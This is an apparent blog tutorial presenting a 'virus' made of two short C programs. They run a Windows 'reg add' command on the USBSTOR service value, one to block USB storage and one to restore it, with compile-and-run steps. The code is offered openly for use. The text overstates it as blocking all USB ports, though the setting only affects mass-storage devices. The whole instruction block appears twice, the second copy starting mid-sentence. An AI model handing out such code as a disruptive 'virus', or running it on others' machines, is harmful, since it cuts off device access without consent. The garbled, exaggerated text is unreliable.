This is a simple C program that can disable your computer's USB ports. After creating this virus(block USB), when you execute it, instantly, this will block your USB ports. Computer cannot find the USB devices that you connect. Again, to enable the ports again,
you have to run the second program(unblock USB). I am giving you an elaborate description about how you can create this virus and use it :
1. You need: C-compiler, and the virus source code. (Both blocking and unblocking)
2. Install C-compiler.
3. Copy-paste the virus source code from below and name it with extension ".c": (one at time)
Block: (without " ")
"#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}" -->
Unblock:(without " ")
"#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}"
4. Browse for the source code from Compiler and then compile.(one at a time). This will create the virus .exe file . When double click it, if everything went right, your USB ports will be blocked.
5.To unblock the ports, click the unblock program that have you have just compiled.
6. To test this virus, just run the block_usb.exe (my given name) file and insert a USB pen drive. Now you can see that your pen drive will never get detected. Again to enable the USB ports just run the unblock_usb.exe file. You'll see it work.
This is the simplest C-program.
you have to run the second program(unblock USB). I am giving you an elaborate description about how you can create this virus and use it :
1. You need: C-compiler, and the virus source code. (Both blocking and unblocking)
2. Install C-compiler.
3. Copy-paste the virus source code from below and name it with extension ".c": (one at time)
Block: (without " ")
"#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}" -->
Unblock:(without " ")
"#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}"
4. Browse for the source code from Compiler and then compile.(one at a time). This will create the virus .exe file . When double click it, if everything went right, your USB ports will be blocked.
5.To unblock the ports, click the unblock program that have you have just compiled.
6. To test this virus, just run the block_usb.exe (my given name) file and insert a USB pen drive. Now you can see that your pen drive will never get detected. Again to enable the USB ports just run the unblock_usb.exe file. You'll see it work.
This is the simplest C-program.